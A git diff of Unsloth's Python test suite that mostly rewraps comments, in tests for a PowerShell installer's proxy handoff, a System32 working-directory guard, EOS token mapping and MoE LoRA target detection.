test_module_autoloading_is_restored():@requires_pwshdef test_install_ps1_parses():"""A syntax error here is a total install failure, and the file is not imported by anything."""- # A nonzero exit here is claimed to mean install.ps1 has a syntax error, and pwsh aborting- # before it ever reached the parser exits nonzero too.+ # A nonzero exit here is claimed to mean install.ps1 has a syntax error, and pwsh aborting before it ever reached+ # the parser exits nonzero too.res = run_pwsh([shutil.which("pwsh") or "pwsh",@@ -742,8 +735,8 @@ def test_only_serializable_proxy_keys_reach_the_child(tmp_path):encoding = "utf-8",newline = "",)- # The proxy keys are read straight out of this run's stdout, so an interpreter that- # died would look like the prologue publishing an empty handoff.+ # The proxy keys are read straight out of this run's stdout, so an interpreter that died would look like the+ # prologue publishing an empty handoff.handoff = run_pwsh([shutil.which("pwsh") or "pwsh", "-NoProfile", "-NonInteractive", "-File", str(driver)],capture_output = True,@@ -751,8 +744,8 @@ def test_only_serializable_proxy_keys_reach_the_child(tmp_path):check = False,).stdout- # Parsed, not substring-matched: the handoff IS JSON, so an exact value comparison is both- # stronger and free of the "URL may sit anywhere in the string" reading a bare `in` invites.+ # Parsed, not substring-matched: the handoff IS JSON, so an exact value comparison is both stronger and free of the+ # "URL may sit anywhere in the string" reading a bare `in` invites.carried = json.loads(handoff.strip().splitlines()[-1])assert carried["Invoke-WebRequest:Proxy"] == "http://proxy.corp:8080"assert "ProxyUseDefaultCredentials" in handoff@@ -776,8 +769,8 @@ def test_the_child_restores_the_proxy_and_nothing_else(tmp_path):env = {k: v for k, v in os.environ.items() if k != "_UNSLOTH_PS_PROXY_DEFAULTS"}if value is not None:env["_UNSLOTH_PS_PROXY_DEFAULTS"] = value- # Each case asserts the child launched successfully and restored exactly the proxy key,- # so a pwsh that aborted at startup would read as the prelude taking setup.ps1 down.+ # Each case asserts the child launched successfully and restored exactly the proxy key, so a pwsh that aborted+ # at startup would read as the prelude taking setup.ps1 down.return run_pwsh([pwsh, "-NoProfile", "-NonInteractive", "-Command", probe],capture_output = True,@@ -792,9 +785,8 @@ def test_the_child_restores_the_proxy_and_nothing_else(tmp_path):)assert restored.returncode == 0assert "IWR=http://proxy.corp:8080" in restored.stdout- # install.ps1 never publishes a non-proxy key, but the child trusts the table wholesale, so- # pin that the round trip carries what it was given and the FILTER is the one place that- # decides.+ # install.ps1 never publishes a non-proxy key, but the child trusts the table wholesale, so pin that the round trip+ # carries what it was given and the FILTER is the one place that decides.assert "OTHER=Hidden" in restored.stdoutfor absent in (None, "{not json", ""):@@ -914,8 +906,8 @@ def test_the_probe_reads_a_hostile_profile_without_carrying_anything_else(tmp_paencoding = "utf-8",newline = "",)- # Empty stdout is already handled below as "the planted profile was not loaded" and skips- # the test, so a crashed interpreter would silently retire this check instead of failing.+ # Empty stdout is already handled below as "the planted profile was not loaded" and skips the test, so a crashed+ # interpreter would silently retire this check instead of failing.result = run_pwsh([shutil.which("pwsh") or "pwsh",@@ -1034,8 +1026,6 @@ def test_one_host_owns_a_cmdlet_outright(monkeypatch):merged = json.loads(studio_cmd._probe_profile_proxy_defaults(["pwsh.exe", "powershell.exe"]))- # The first host owns Invoke-WebRequest whole, so the second host's credential flag for- # that same cmdlet is dropped...assert merged == {"Invoke-WebRequest:Proxy": "http://first.corp:8080",# ...while a cmdlet the first host never configured still comes across.@@ -1182,6 +1172,8 @@ def test_a_wildcard_key_claims_the_whole_cmdlet_family(monkeypatch):monkeypatch.setattr(studio_cmd.subprocess, "run", lambda argv, **kw: _Result(answers[argv[0]]))merged = json.loads(studio_cmd._probe_profile_proxy_defaults(["pwsh.exe", "powershell.exe"]))+ # The wildcard from the first host owns the whole Invoke-Web* family, so the second host's credential flag for+ # Invoke-WebRequest is dropped.assert merged == {"Invoke-Web*:Proxy": "http://seven.corp:8080",# An unrelated family from the second host is still merged.@@ -1212,6 +1204,7 @@ def test_two_wildcards_that_share_a_cmdlet_are_one_family(monkeypatch):assert merged == {"Invoke-Web*:Proxy": "http://seven.corp:8080",+ # An unrelated family from the second host is still merged."Invoke-RestMethod:Proxy": "http://five.corp:8080",}@@ -1321,8 +1314,8 @@ def test_a_stale_alias_does_not_block_a_current_uv_on_path(tmp_path):"@('stale', 'current')",f"@('{stale.as_posix()}', '{current.as_posix()}')",)- # The uv gate is judged by the first and last lines of stdout, and an interpreter crash- # leaves none, which the assertion would report as the gate stopping at the stale alias.+ # The uv gate is judged by the first and last lines of stdout, and an interpreter crash leaves none, which the+ # assertion would report as the gate stopping at the stale alias.result = run_pwsh([shutil.which("pwsh"), "-NoProfile", "-NonInteractive", "-Command", script],capture_output = True,@@ -1399,8 +1392,8 @@ def test_the_probe_output_is_decoded_lossily():def test_a_non_ascii_banner_does_not_cost_the_proxy(monkeypatch):- # The decode is the parent's job, so this drives the extractor with the mangled text the- # lossy decode produces: the record is ASCII and has to survive whatever precedes it.+ # The decode is the parent's job, so this drives the extractor with the mangled text the lossy decode produces: the+ # record is ASCII and has to survive whatever precedes it.from unsloth_cli.commands import studio as studio_cmdclass _Result:@@ -1427,8 +1420,8 @@ def test_the_setup_child_does_not_hand_the_proxy_secret_to_its_descendants():removed_at = prelude.find("Remove-Item Env:_UNSLOTH_PS_PROXY_DEFAULTS")assert read_at >= 0, "the prelude must still read the handoff"assert removed_at > read_at, "and must clear it straight after reading it"- # Before anything that could start a child process -- i.e. before the defaults are applied,- # which is the last thing the prelude does.+ # Before anything that could start a child process -- i.e. before the defaults are applied, which is the last thing+ # the prelude does.assert removed_at < prelude.find("$PSDefaultParameterValues[$_.Name]")@@ -1452,8 +1445,8 @@ def test_the_probe_adds_the_callers_host_profile_beside_the_current_host_one(monassert "Split-Path -Parent $PROFILE.CurrentUserCurrentHost" in probe# ...and before the table is read, or it would snapshot the wrong defaults.assert probe.find("_UNSLOTH_PS_HOST_PROFILE") < probe.find("$out = @{}")- # Unconditional and last, so the profile the probe's own host would have loaded is still- # there and still gets the final word on a key both of them set.+ # Unconditional and last, so the profile the probe's own host would have loaded is still there and still gets the+ # final word on a key both of them set.for scope in ("AllUsersCurrentHost", "CurrentUserCurrentHost"):named = probe.find(f"Split-Path -Parent $PROFILE.{scope}")plain = probe.find(f"$__unslothProfiles += $PROFILE.{scope};")@@ -1555,8 +1548,8 @@ def test_the_profile_probe_shares_one_timeout_across_hosts(monkeypatch):asked: list[float] = []def _hang(argv, **kwargs):- # A profile that really does hang burns the timeout it was given, which is what makes- # a per-host budget cost twice as much wall clock as the helper documents.+ # A profile that really does hang burns the timeout it was given, which is what makes a per-host budget cost+ # twice as much wall clock as the helper documents.asked.append(kwargs["timeout"])time.sleep(kwargs["timeout"])raise subprocess.TimeoutExpired(argv, kwargs["timeout"])diff --git a/tests/test_installer_skip_autostart.py b/tests/test_installer_skip_autostart.pyindex a1c394ccd1f..b42440c1cef 100644--- a/tests/test_installer_skip_autostart.py+++ b/tests/test_installer_skip_autostart.py@@ -92,9 +92,9 @@ def test_windows_skip_autostart_value_parsing_with_no_torch(value: str, expectedenv = os.environ.copy()env["UNSLOTH_NO_TORCH"] = "1"env["UNSLOTH_SKIP_AUTOSTART"] = value- # run_pwsh, not subprocess.run: an interpreter killed at startup never evaluated the- # UNSLOTH_SKIP_AUTOSTART parser, and check = True would present that as this parser- # answering wrongly for the value. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: an interpreter killed at startup never evaluated the UNSLOTH_SKIP_AUTOSTART parser,+ # and check = True would present that as this parser answering wrongly for the value.+ # See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh(["pwsh",@@ -127,9 +127,9 @@ def test_windows_skip_autostart_bypasses_only_the_interactive_prompt():@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")def test_windows_installer_invalid_package_fails():- # run_pwsh, not subprocess.run: this case asserts a non-zero exit, which a pwsh that- # aborted at startup also produces, so the crash would read as install.ps1 having- # rejected the bad package name. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: this case asserts a non-zero exit, which a pwsh that aborted at+ # startup also produces, so the crash would read as install.ps1 having rejected the bad package+ # name. See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh(["pwsh",diff --git a/tests/test_installer_system32_guard.py b/tests/test_installer_system32_guard.pyindex 1a44feae6f4..bf6f9b91379 100644--- a/tests/test_installer_system32_guard.py+++ b/tests/test_installer_system32_guard.py@@ -132,8 +132,8 @@ def _extract_helper() -> str:(r"C:\Windows\SysWOW64", "True"),(r"C:\Windows", "True"),(r"C:\Users\me", "False"),- # Siblings sharing the prefix: rejecting these would abort an install with a- # supported absolute UNSLOTH_STUDIO_HOME override.+ # Siblings sharing the prefix: rejecting these would abort an install with a supported absolute+ # UNSLOTH_STUDIO_HOME override.(r"C:\Windows2", "False"),(r"C:\WindowsApps\stuff", "False"),(r"C:\WindowsStudio", "False"),@@ -211,9 +211,9 @@ def _run_relocation_block(+ '\nWrite-Host "CWD:$((Get-Location).ProviderPath)"\n'+ 'Write-Host "LLAMA:$WithLlamaCppDir"\n')- # Inherit the real environment (pwsh needs PATH and SystemRoot) and repoint every- # home-ish variable at the fixture. HOMEDRIVE/HOMEPATH too: PowerShell builds $HOME- # from that pair on Windows, and a stale one would look like a safe directory.+ # Inherit the real environment (pwsh needs PATH and SystemRoot) and repoint every home-ish variable at the fixture.+ # HOMEDRIVE/HOMEPATH too: PowerShell builds $HOME from that pair on Windows, and a stale one would look like a safe+ # directory.env = dict(os.environ)drive, tail = os.path.splitdrive(str(home_env))env.update(@@ -227,9 +227,9 @@ def _run_relocation_block("HOMEPATH": tail,})- # run_pwsh, not subprocess.run: every relocation case below reads this run's exit code- # to tell "moved out of System32" from "routed through Exit-InstallFailure", and a pwsh- # killed by a signal is neither. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: every relocation case below reads this run's exit code to tell+ # "moved out of System32" from "routed through Exit-InstallFailure", and a pwsh killed by a+ # signal is neither. See tests/_shared/unsloth_pwsh_runner.py.return run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],capture_output = True,@@ -374,8 +374,8 @@ def _guard_outcome(if environ_extra:environ.update(environ_extra)- # ntpath for the path semantics, with expanduser pinned: the real one reads the host's- # HOME, and on Windows "~" is USERPROFILE, SYSTEM's included.+ # ntpath for the path semantics, with expanduser pinned: the real one reads the host's HOME, and on Windows "~" is+ # USERPROFILE, SYSTEM's included.fake_path = types.SimpleNamespace(normcase = ntpath.normcase,normpath = ntpath.normpath,@@ -401,8 +401,8 @@ def _guard_outcome(chdir_calls.append(target)if chdir_error is not None:raise chdir_error- # A junction, or a profile that is itself inside the Windows tree: the- # call succeeds and the process ends up somewhere else than it asked for.+ # A junction, or a profile that is itself inside the Windows tree: the call succeeds and the+ # process ends up somewhere else than it asked for.current["cwd"] = (chdir_lands_in if chdir_lands_in is not None and target == _RELOCATED else target)@@ -428,8 +428,7 @@ def _guard_outcome(makedirs = _makedirs,# Only a folder that really holds System32 counts as a Windows directory.isdir = lambda path: ntpath.normcase(path) in real_windows_dirs,- # sys.path entries are on disk only when the caller says so, the way the- # filesystem would answer.+ # sys.path entries are on disk only when the caller says so, the way the filesystem would answer.exists = lambda path: ntpath.normcase(path) in {ntpath.normcase(p) for p in real_paths},abspath = _abspath,home_isdir = lambda path: ntpath.normcase(path)@@ -437,8 +436,8 @@ def _guard_outcome(# Windows expansion, from the same environment the guard is reading.expandvars = lambda value: _expand_windows_vars(value, environ),# The real sys.path belongs to pytest, so the guard gets a copy to pin.- # pass_syspath = False leaves it out, which is what the console script- # does: only then does the guard reach the real list.+ # pass_syspath = False leaves it out, which is what the console script does: only then does the guard reach the+ # real list.**({"syspath": syspath if syspath is not None else []} if pass_syspath else {}),)if environ_out is not None:@@ -573,13 +572,14 @@ def test_cli_guard_message_repeats_the_actual_command():), "the retry line must reproduce the invoked command, re-quoting arguments with spaces"+# Issue #8510:+# ── "Run Unsloth at login" (issue #8510): the desktop cannot choose its own cwd ──## Windows registers login startup as an HKCU Run value, which carries no working# directory, so Unsloth Desktop and every CLI child it spawns start in System32.# The commands it runs take no path from the user, so they move out of the folder# instead of refusing and leaving the user with a tray icon and no server.-_RELOCATED = r"C:\Users\me\.unsloth"@@ -590,8 +590,8 @@ _RELOCATED = r"C:\Users\me\.unsloth"["unsloth", "studio", "--api-only"],["unsloth", "studio", "provision-desktop-auth"],["unsloth", "studio", "desktop-capabilities", "--json"],- # The command that upgrades a desktop too old to set the marker; without- # it such a user gets a working backend and no way to update from the tray.+ # The command that upgrades a desktop too old to set the marker; without it such a user gets a working backend+ # and no way to update from the tray.["unsloth", "studio", "update"],["unsloth", "studio", "--help"],],@@ -781,8 +781,8 @@ def test_cli_guard_fails_closed_when_every_home_is_a_system_directory():assert colour == "red"assert chdir_calls == []assert message is not None- # This one is read in the desktop's logs, not a terminal, so it must not tell- # the reader to cd somewhere or claim they used "Run as administrator".+ # This one is read in the desktop's logs, not a terminal, so it must not tell the reader to cd somewhere or claim+ # they used "Run as administrator".assert "Run as administrator" not in message@@ -1169,8 +1169,8 @@ def test_cli_guard_anchors_relative_import_roots_before_it_moves():"lib","",r".\plugins",- # setuptools registers this for an editable namespace install and its own- # path hook accepts it by exact string; it names no directory.+ # setuptools registers this for an editable namespace install and its own path hook accepts it by exact string;+ # it names no directory."__editable__.unsloth-2026.8.15.finder.__path_hook__",# A relative archive: importable, so it moves with the process."modules.zip",@@ -1192,8 +1192,7 @@ def test_cli_guard_anchors_relative_import_roots_before_it_moves():r"C:\Windows\System32",# join, not normpath: the same spelling the environment pinning uses.r"C:\Windows\System32\.\plugins",- # Names nothing on disk: setuptools' editable sentinel, which its own- # path hook accepts back by exact string.+ # Names nothing on disk: setuptools' editable sentinel, which its own path hook accepts back by exact string."__editable__.unsloth-2026.8.15.finder.__path_hook__",# An archive that is really there is anchored like any other root.r"C:\Windows\System32\modules.zip",@@ -1213,8 +1212,8 @@ def test_cli_guard_writes_back_only_an_expansion_the_reader_agrees_with():environ_extra = {"LOCALAPPDATA": r"C:\Users\me\AppData\Local","HF_HUB_CACHE": r"%LOCALAPPDATA%\hub",- # One pass leaves another reference, but it already names a drive,- # so it means the same folder from anywhere.+ # One pass leaves another reference, but it already names a drive, so it means the same folder from+ # anywhere."HF_ASSETS_CACHE": r"C:\cache\%UNSET%\assets",},environ_out = environ_out,@@ -1253,10 +1252,8 @@ def test_cli_guard_refuses_a_value_that_would_not_fit_in_the_environment():r"""A scalar that was already near the 32767-character limit crosses it onceit names its folder in full, and a variable Windows will not accept is afailure to report here rather than in the next process."""- # The limit is lowered rather than the value grown: the harness sets the- # environment through os.environ, and Windows will not store 32767- # characters there. The value fits until it is anchored, so a guard that- # measured the raw value would fail this.+ # The limit is lowered rather than the value grown: the harness sets the environment through os.environ, and Windows+ # will not store 32767 characters there.with mock.patch.object(_system_dir_guard, "_WINDOWS_ENV_VALUE_LIMIT", 64):message, colour, chdir_calls = _guard_outcome(r"C:\Windows\System32",@@ -1272,8 +1269,7 @@ def test_cli_guard_refuses_a_list_that_would_not_fit_in_the_environment():r"""Windows caps a variable at 32767 characters, and a list of relativeentries can cross that once each names its folder in full. Reporting it herenames the setting; discovering it when the next process starts does not."""- # Same reason as the scalar above, and the raw list fits where the anchored- # one does not.+ # Same reason as the scalar above, and the raw list fits where the anchored one does not.entries = ";".join(["entry"] * 3)with mock.patch.object(_system_dir_guard, "_WINDOWS_ENV_VALUE_LIMIT", 64):message, colour, chdir_calls = _guard_outcome(@@ -1349,8 +1345,8 @@ def test_cli_guard_goes_back_when_the_move_lands_somewhere_still_refused():["unsloth", "studio", "--api-only"],environ_extra = {"HF_HOME": "cache"},environ_out = environ_out,- # A junction under the profile: the move succeeds and the process is- # still inside the folder the guard refuses.+ # A junction under the profile: the move succeeds and the process is still inside the+ # folder the guard refuses.chdir_lands_in = r"C:\Windows\System32\config\systemprofile",)assert colour == "red"@@ -1468,8 +1464,8 @@ def test_cli_guard_pins_the_token_path_and_the_special_pythonpath_entries():assert (colour, chdir_calls) == ("yellow", [_RELOCATED])assert environ_out["HF_TOKEN_PATH"] == r"C:\Windows\System32\secrets\token"assert environ_out["PYTHONPATH"] == (- # The empty component is the folder being left; `~` is anchored as the- # literal relative folder Python reads there, not as the profile.+ # The empty component is the folder being left; `~` is anchored as the literal relative+ # folder Python reads there, not as the profile.r"C:\Windows\System32;C:\Windows\System32\~\plugins;C:\shared\lib")diff --git a/tests/test_installer_unsloth_version.py b/tests/test_installer_unsloth_version.pyindex 6ab11662ad6..605046ec045 100644--- a/tests/test_installer_unsloth_version.py+++ b/tests/test_installer_unsloth_version.py@@ -27,8 +27,7 @@ def _extract(pattern: str, source: str) -> str:@pytest.mark.skipif(shutil.which("sh") is None, reason = "POSIX shell is unavailable")def test_posix_installer_reports_installed_distribution_version():source = INSTALL_SH.read_text(encoding = "utf-8")- # Two blocks now: the probe, whose exit code carries the conflict signal,- # and the report that acts on it.+ # Two blocks: the probe, whose exit code carries the conflict signal, and the report that acts on it.reporter = _extract(r"^_installed_package_version_exit=0.*?^fi.*?^fi",source,@@ -59,9 +58,9 @@ def test_windows_version_reporter_uses_distribution_metadata():r" \$installedPackageVersion = .*?^ if .*?^ \} else \{.*?^ \}",source,)- # run_pwsh, not subprocess.run: a pwsh that aborted before reaching the reporter printed- # no version line at all, and check = True would file that as install.ps1 reading the- # distribution metadata wrongly. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: a pwsh that aborted before reaching the reporter printed no version line at all, and+ # check = True would file that as install.ps1 reading the distribution metadata wrongly.+ # See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh(["pwsh",diff --git a/tests/test_kaggle_gguf_error_message.py b/tests/test_kaggle_gguf_error_message.pyindex 0dba934d1cf..a5fe5464a0c 100644--- a/tests/test_kaggle_gguf_error_message.py+++ b/tests/test_kaggle_gguf_error_message.py@@ -88,9 +88,6 @@ def test_the_check_is_case_insensitive():assert _looks_like_disk(RuntimeError("NO SPACE LEFT ON DEVICE")) is True-# ---- failures that are NOT about disk ---------------------------------------@pytest.mark.usefixtures("plenty_of_free_space")def test_an_unconvertible_architecture_is_not_a_disk_problem():"""The bert_classification case."""diff --git a/tests/test_loader_glob_skip.py b/tests/test_loader_glob_skip.pyindex c37515a8ccc..80ae5b1695b 100644--- a/tests/test_loader_glob_skip.py+++ b/tests/test_loader_glob_skip.py@@ -29,8 +29,7 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):if supports_llama32 and is_model and is_peft:if is_local_dir:- # Local path branch (os.path.exists in real code)- both_exist = True # simulate both files present locally+ both_exist = Trueelse:files = glob_mock(f"{model_name}/*.json")files = list(os.path.split(x)[-1] for x in files)@@ -39,8 +38,6 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):return both_exist, glob_mock.called- # --- Cases where glob should NOT be called ----def test_glob_skipped_when_is_model_false(self):both_exist, glob_called = self._run_both_exist_block(is_model = False,@@ -82,8 +79,6 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):# both_exist set by the old-style check: (is_model and is_peft) and not SUPPORTS_LLAMA32self.assertTrue(both_exist)- # --- Cases where glob SHOULD be called ----def test_glob_called_when_both_true_and_supports_llama32(self):both_exist, glob_called = self._run_both_exist_block(is_model = True,diff --git a/tests/test_map_eos_token.py b/tests/test_map_eos_token.pyindex 657d261fd22..4d7951ed5b3 100644--- a/tests/test_map_eos_token.py+++ b/tests/test_map_eos_token.py@@ -110,10 +110,9 @@ def test_other_map_eos_token_combinations_are_unchanged():def test_opt_out_is_refused_when_the_template_rewrites_the_vocab():- # gemma_chatml / gemma2_chatml: <|im_end|> only exists because <eos> is renamed to it,- # so the opt-out cannot be honored without leaving eos_token dangling. This pins the- # common shape, where eos_token is the renamed piece; the next test pins the checkpoints- # where it is not, which is the case keying on tokenizer.eos_token used to miss.+ # gemma_chatml / gemma2_chatml: <|im_end|> only exists because <eos> is renamed to it, so the opt-out cannot be+ # honored without leaving eos_token dangling. This pins the common shape, where eos_token is the renamed piece;+ # the next test pins the checkpoints where it is not, which is the case keying on tokenizer.eos_token used to miss.resolved, messages = _resolve(map_eos_token = False,yes_map_eos_token = True,@@ -125,10 +124,9 @@ def test_opt_out_is_refused_when_the_template_rewrites_the_vocab():def test_opt_out_is_refused_when_eos_token_is_not_the_renamed_piece():- # gemma-3-270m-it and gemma-3-1b-it ship eos_token = "<end_of_turn>", not "<eos>", yet- # gemma_chatml still renames <eos> away to build <|im_end|>. Keying the guard on- # tokenizer.eos_token misses these and rebuilds the tokenizer with no eos_token, so- # the class default re-adds the just-removed <eos> as a fresh id past the embeddings.+ # gemma-3-270m-it and gemma-3-1b-it ship eos_token = "<end_of_turn>", not "<eos>", yet gemma_chatml still renames+ # <eos> away to build <|im_end|>. Keying the guard on tokenizer.eos_token misses these and rebuilds the tokenizer+ # with no eos_token, so the class default re-adds the just-removed <eos> as a fresh id past the embeddings.resolved, messages = _resolve(map_eos_token = False,yes_map_eos_token = True,@@ -140,8 +138,8 @@ def test_opt_out_is_refused_when_eos_token_is_not_the_renamed_piece():def test_a_template_veto_still_wins_over_the_refusal():- # The refusal only overrides the caller. A template that does not want eos mapping at- # all keeps map_eos_token = False even if it carries a token_mapping.+ # The refusal only overrides the caller. A template that does not want eos mapping at all keeps+ # map_eos_token = False even if it carries a token_mapping.resolved, messages = _resolve(map_eos_token = True,yes_map_eos_token = False,@@ -153,8 +151,8 @@ def test_a_template_veto_still_wins_over_the_refusal():def test_opt_out_still_honored_when_the_template_leaves_the_vocab_alone():- # chatml / gemma / gemma2 carry no token_mapping, so nothing is half-applied when the- # mapping is skipped and the caller's choice stands.+ # chatml / gemma / gemma2 carry no token_mapping, so nothing is half-applied when the mapping is skipped and the+ # caller's choice stands.resolved, messages = _resolve(map_eos_token = False,yes_map_eos_token = True,@@ -182,11 +180,9 @@ def test_shipped_templates_still_have_the_shape_the_guard_keys_on():assert mapping["<eos>"] == stop_word == "<|im_end|>"-# The resolved flag only matters for what the vocab surgery below it then does, so run-# that surgery against a real fast tokenizer and look at the vocabulary and the eos-# metadata directly. Built in memory from a word-level model: no download, no GPU, and-# no sentencepiece, but a genuine tokenizers backend rather than a stand-in.-+# The resolved flag only matters for what the vocab surgery below it then does, so run that surgery against a real fast+# tokenizer and look at the vocabulary and the eos metadata directly. Built in memory from a word-level model: no+# download, no GPU, and no sentencepiece, but a genuine tokenizers backend rather than a stand-in.GEMMA_CHATML_MAPPING = {"<start_of_turn>": "<|im_start|>", "<eos>": "<|im_end|>"}STOP_WORD = "<|im_end|>"VOCAB = {@@ -238,11 +234,10 @@ def _tiny_fast_tokenizer():def _map_tokens(monkeypatch, map_eos_token, token_mapping):"""Run the shipped surgery over a fresh tiny tokenizer and hand back the result."""- # The block ends in `from .tokenizer_utils import fix_sentencepiece_tokenizer`, and- # that import would drag in the GPU-bound unsloth package. The function mirrors the- # rename into a tokenizer.model file and returns new_tokenizer untouched when there- # is none, which is this tokenizer's case, so stand in for it with that identity and- # leave it to its own tests under tests/saving/.+ # The block ends in `from .tokenizer_utils import fix_sentencepiece_tokenizer`, and that import would drag in the+ # GPU-bound unsloth package. The function mirrors the rename into a tokenizer.model file and returns new_tokenizer+ # untouched when there is none, which is this tokenizer's case, so stand in for it with that identity and leave it+ # to its own tests under tests/saving/.package = types.ModuleType("_unsloth_map_eos_stub")package.__path__ = []tokenizer_utils = types.ModuleType("_unsloth_map_eos_stub.tokenizer_utils")diff --git a/tests/test_mapper_no_duplicate_keys.py b/tests/test_mapper_no_duplicate_keys.pyindex 42e49415fd3..0c42be16bbb 100644--- a/tests/test_mapper_no_duplicate_keys.py+++ b/tests/test_mapper_no_duplicate_keys.py@@ -21,14 +21,12 @@ def _duplicate_int_to_float_keys():if not isinstance(node, ast.Assign):continuefor target in node.targets:- # Private names are mangled at code generation, which ``ast.parse``- # never reaches, so the identifier reads exactly as written.+ # Private names are mangled at code generation, which ``ast.parse`` never reaches, so the identifier reads+ # exactly as written.if isinstance(target, ast.Name) and target.id == "__INT_TO_FLOAT_MAPPER":if not isinstance(node.value, ast.Dict):continue- # mapper.py reads the nested per-precision dicts directly, so- # check every dict. Count per dict: "16" and "8" legitimately- # repeat across sibling entries.+ # mapper.py reads the nested per-precision dicts directly, so check every dict.duplicates = {}for mapping in ast.walk(node.value):if not isinstance(mapping, ast.Dict):diff --git a/tests/test_moe_lora_targets.py b/tests/test_moe_lora_targets.pyindex 7f9b9a04850..66cac2eb289 100644--- a/tests/test_moe_lora_targets.py+++ b/tests/test_moe_lora_targets.py@@ -78,8 +78,8 @@ def test_single_leaf_regex_targets_only_that_projection():def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():- # get_peft_regex on a fused-expert model lists only attention Linears as- # leaves; the mlp tag block is the remaining signal of MLP finetune intent.+ # get_peft_regex on a fused-expert model lists only attention Linears as leaves; the mlp tag block is the remaining+ # signal of MLP finetune intent.from unsloth.models._utils import get_moe_target_parametersboth_auto = (r"(?:\bmodel\.layers\.[\d]{1,}\."@@ -93,12 +93,9 @@ def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():def test_explicit_attention_only_list_does_not_discover_moe_parameters():- # An explicit attention-only leaf list names no MLP projection, so experts- # must never be targeted. get_peft_model routes this ORIGINAL list (not the- # scoped regex) into detection precisely because family scoping makes- # get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block- # even for an attention-only request (see the regex below), which the- # string fallback cannot distinguish from the fused-expert auto regex.+ # An explicit attention-only leaf list names no MLP projection, so experts must never be targeted.+ # get_peft_model routes this ORIGINAL list (not the scoped regex) into detection precisely because family scoping+ # makes get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block even for an attention-only requestfrom unsloth.models._utils import get_moe_target_parametersattn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]@@ -120,11 +117,11 @@ def test_explicit_attention_only_list_does_not_discover_moe_parameters():def test_frozen_mlp_full_list_does_not_discover_moe_parameters():- # Regression: an explicit list that names MLP leaves together with- # finetune_mlp_modules=False must NOT train experts. get_peft_regex scopes- # the MLP leaves out (its emitted regex carries no mlp tag block), so- # detection has to key on that SCOPED regex -- keying on the original list- # would let its gate/up/down leaves silently re-enable the frozen experts.+ # Regression: an explicit list that names MLP leaves together with finetune_mlp_modules=False must NOT train+ # experts.+ # get_peft_regex scopes the MLP leaves out (its emitted regex carries no mlp tag block), so detection has to key on+ # that SCOPED regex -- keying on the original list would let its gate/up/down leaves silently re-enable the frozen+ # experts.from unsloth.models._utils import (_select_moe_detection_targets,get_moe_target_parameters,@@ -139,8 +136,8 @@ def test_frozen_mlp_full_list_does_not_discover_moe_parameters():"up_proj","down_proj",]- # Representative of what get_peft_regex emits for that list under- # finetune_mlp_modules=False: attention-only path, no mlp component block.+ # Representative of what get_peft_regex emits for that list under finetune_mlp_modules=False: attention-only+ # path, no mlp component block.scoped_regex = (r"(?:.*?(?:language|text).*?"r"(?:self_attn|attention|attn|mixer).*?"@@ -157,8 +154,8 @@ def test_frozen_mlp_full_list_does_not_discover_moe_parameters():def test_frozen_language_full_list_does_not_discover_moe_parameters():- # Vision-only request (finetune_language_layers=False) with a full leaf list- # must not reach the language-model experts either.+ # Vision-only request (finetune_language_layers=False) with a full leaf list must not reach the language-model+ # experts either.from unsloth.models._utils import (_select_moe_detection_targets,get_moe_target_parameters,@@ -213,10 +210,9 @@ def test_in_scope_mlp_full_list_still_discovers_moe_parameters():def test_attention_only_list_prefers_original_when_in_scope():- # The case the PR originally fixed: an attention-only list routed through- # get_peft_regex under a family scope (e.g. vision-off) still keeps experts- # off, because with MLP+language in scope detection uses the original- # attention-only list rather than the regex's spurious mlp component block.+ # The case the PR originally fixed: an attention-only list routed through get_peft_regex under a family scope (e.g.+ # vision-off) still keeps experts off, because with MLP+language in scope detection uses the original attention-only+ # list rather than the regex's spurious mlp component block.from unsloth.models._utils import (_select_moe_detection_targets,get_moe_target_parameters,diff --git a/tests/test_new_mapper_fetched_fp8.py b/tests/test_new_mapper_fetched_fp8.pyindex 903f5eee887..3dee8377bbc 100644--- a/tests/test_new_mapper_fetched_fp8.py+++ b/tests/test_new_mapper_fetched_fp8.py@@ -134,9 +134,8 @@ def _load_resolver(installed_source):"""Stand-in for loader_utils' module globals, built from `installed_source`."""from unsloth_zoo.utils import Version- # loader_utils imports this from .mapper; _get_new_mapper derives the fetched tables- # with it, so the stand-in globals need it or the probe NameErrors into its own bare- # except and returns empty tables.+ # loader_utils imports this from .mapper; _get_new_mapper derives the fetched tables with it, so the stand-in+ # globals need it or the probe NameErrors into its own bare except and returns empty tables.from unsloth.models.mapper import build_mappersmapper_ns = {}diff --git a/tests/test_new_mapper_no_global_leak.py b/tests/test_new_mapper_no_global_leak.pyindex 4c85386cfb4..27109b7b8f6 100644--- a/tests/test_new_mapper_no_global_leak.py+++ b/tests/test_new_mapper_no_global_leak.py@@ -20,9 +20,7 @@ def _mapper_source():def _extract_get_new_mapper(namespace):- # loader_utils imports this from .mapper, so the stand-in module globals need it- # too. Without it the probe raises NameError into its own bare except and hands- # back empty tables, which looks exactly like "the fetch did not run".+ # loader_utils imports this from .mapper, so the stand-in module globals need it too.from unsloth.models.mapper import build_mappersimport unsloth.models.loader_utils as loader_utils@@ -46,8 +44,8 @@ class _FakeRaw:decode_content = Falsedef read1(self, amount = -1):- # The probe must ASK for decoding; `requests` only enables it inside- # `iter_content`, so a raw read of a gzip response would hand compressed bytes+ # The probe must ASK for decoding;+ # `requests` only enables it inside `iter_content`, so a raw read of a gzip response would hand compressed bytes# to `ast.parse`.if not self.decode_content:return b"not-decoded"@@ -118,12 +116,12 @@ def 